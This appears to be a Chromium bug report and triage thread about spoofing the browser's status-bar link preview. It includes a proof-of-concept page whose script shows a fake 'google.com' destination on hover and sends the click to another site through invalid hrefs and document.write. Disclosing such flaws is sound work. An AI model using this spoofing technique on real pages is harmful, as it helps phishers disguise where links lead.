Issue descriptionUserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Steps to reproduce the problem: Hi team. I found a way to spoof the destination of a link in bottom page notification. 1. Open the attached poc. 2. Mouse over the links and you see https://www.google.com in the bottom page showing that apparently are the correct links. 3. Click in any link and a new tab will be openned with https://www.marvel.com. *** PoC Code *** <style> div{ display:none; } div:hover{ display:block; } div#fakelocation { display: none; height: 18px; width: 30%; overflow: visible; background-color: rgb(242,242,242); bottom: 0; position: fixed; left: 0; padding-top: 3px; padding-left: 2px; color: #868383; font-size: 13; border: 1px solid #e2e2e2; border-top-right-radius: 5px; border-bottom: 0px; font-family: Calibri, Candara, Segoe, "Segoe UI", Optima, Arial, sans-serif !important; font: small arial,sans-serif; } </style> <div id="fakelocation">https://www.google.com</div> <br> <a id="link1" name="link1" href="\\javascript:alert(1)" onclick="mouseClick()" onmouseover="mouseIn()" onmouseout="mouseOut()" target="_blank">www.google.com</a> <br> <a id="link4" name="link4" href="%00" onclick="mouseClick()" onmouseover="mouseIn()" onmouseout="mouseOut()" target="_blank">www.google.com</a> <script> function mouseIn() {document.getElementById("fakelocation").style.display = "inline";} function mouseOut() {document.getElementById("fakelocation").style.display = "none";} function mouseClick(){ var fakeOpenDestino = window.open("\\javascript:alert(1)", "link1"); fakeOpenDestino.document.write('<script>document.location.href="https://www.marvel.com";</' + 'script>'); //setTimeout(function(){ fakeOpenDestino.close(); }, 50); } </script> What is the expected behavior? Chrome should be always show in bottom page the value of href attribute of a link (TAG A) even if invalid. What went wrong? Chrome dont show in bottom page the alert of the destination of a link when it is invalid allowing bad guys to spoof this alert tricking users to click on a trusted link that don't is. Did this work before? N/A Chrome version: 63.0.3239.132 Channel: n/a OS Version: 10.0 Flash Version:

Thanks for the report, as per https://www.chromium.org/user-experience/status-bubble we do not consider the status bubble a security surface, so this is not considered a security bug. However, I'm not sure if this is actually WAI, so I'll assign the StatusBubble component so this can be triaged from that perspective.

Ok. But when a tag attribute has a invalid href values the status bubble should be showed? Examples: href="\\javascript:alert(1)" href="%00" |
